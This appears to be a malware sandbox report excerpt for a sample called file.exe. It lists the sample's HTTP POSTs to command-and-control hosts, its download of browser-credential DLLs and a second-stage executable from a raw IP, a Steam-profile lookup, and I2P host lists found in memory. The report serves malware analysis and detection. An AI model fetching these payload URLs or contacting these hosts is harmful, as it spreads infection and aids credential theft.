Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7847438767.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 198.46.178.145Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: arpdabl.zapto.orgContent-Length: 2673Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.212.60

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405010 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00405010

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7847438767.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 198.46.178.145Cache-Control: no-cache

Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: arpdabl.zapto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: http://127.0.0.1:8118
Source: file.exe, 00000000.00000002.2768054750.000000001B4F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768054750.000000001B503000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://198.46.178.145/7847438767.exe
Source: file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://198.46.178.145/7847438767.exenderbird
Source: file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.FBGDHJKFHJ
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.KFHJ
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.org
Source: file.exe, 00000000.00000002.2768054750.000000001B503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.orgJ
Source: file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zaptoJKFHJ
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: http://identiguy.i2p/hosts.txt
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr, KXEmxT2p.23.dr	String found in binary or memory: http://reg.i2p/hosts.txt
Source: main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txt7t
Source: main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtcc
Source: main.exe, 00000017.00000002.3441085501.000001E399027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtvp/p_lib.c
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: http://rus.i2p/hosts.txt
Source: main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr, KXEmxT2p.23.dr	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt
Source: main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtxyz/
